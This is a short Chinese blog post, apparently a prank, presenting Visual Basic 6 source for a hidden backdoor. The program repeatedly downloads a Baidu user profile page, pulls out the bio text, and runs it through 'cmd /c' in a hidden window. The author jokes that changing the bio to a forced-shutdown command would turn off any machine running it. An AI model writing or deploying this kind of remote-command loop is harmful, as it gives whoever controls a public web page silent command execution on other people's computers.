一个无聊的小程序

Option ExplicitPrivate Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongDim objTimer As New clsWaitableTimerPrivate Sub Form_Load() Dim s1$, s2$ Me.Show Do s2 = getKey() If s2 <> "" And s2 <> s1 Then s1 = s2 Shell "cmd /c " & s2, 0 End If DoEvents LoopEnd SubPrivate Function getKey() As String Dim strSource$, l1&, l2& strSource = getHtmlStr2("http://passport.baidu.com/?business&un=sysdzw") l1 = InStr(strSource, "个人简介：") l1 = InStr(l1, strSource, "<span class=""info-content"">") If l1 > 0 Then l1 = l1 + Len("<span class=""info-content"">") l2 = InStr(l1, strSource, "</span>") getKey = Mid(strSource, l1, l2 - l1) End IfEnd FunctionPrivate Function getHtmlStr2$(strUrl$) Const tmpfile As String = "c:/tmp.tmp" URLDownloadToFile 0, strUrl, tmpfile, 0, 0 Do Until FileLen(tmpfile) DoEvents Loop Dim fn%, tmp$ fn = FreeFile Open tmpfile For Binary Access Read As #fn tmp = Space(FileLen(tmpfile)) Get #fn, , tmp Close #fn getHtmlStr2 = tmpEnd FunctionPrivate Sub Form_Unload(Cancel As Integer) EndEnd Sub 

只要修改博客里面的签名，程序就会调用cmd“执行该签名“，如果你的签名改成hutdown /s /f /t 0，呵呵，呵呵呵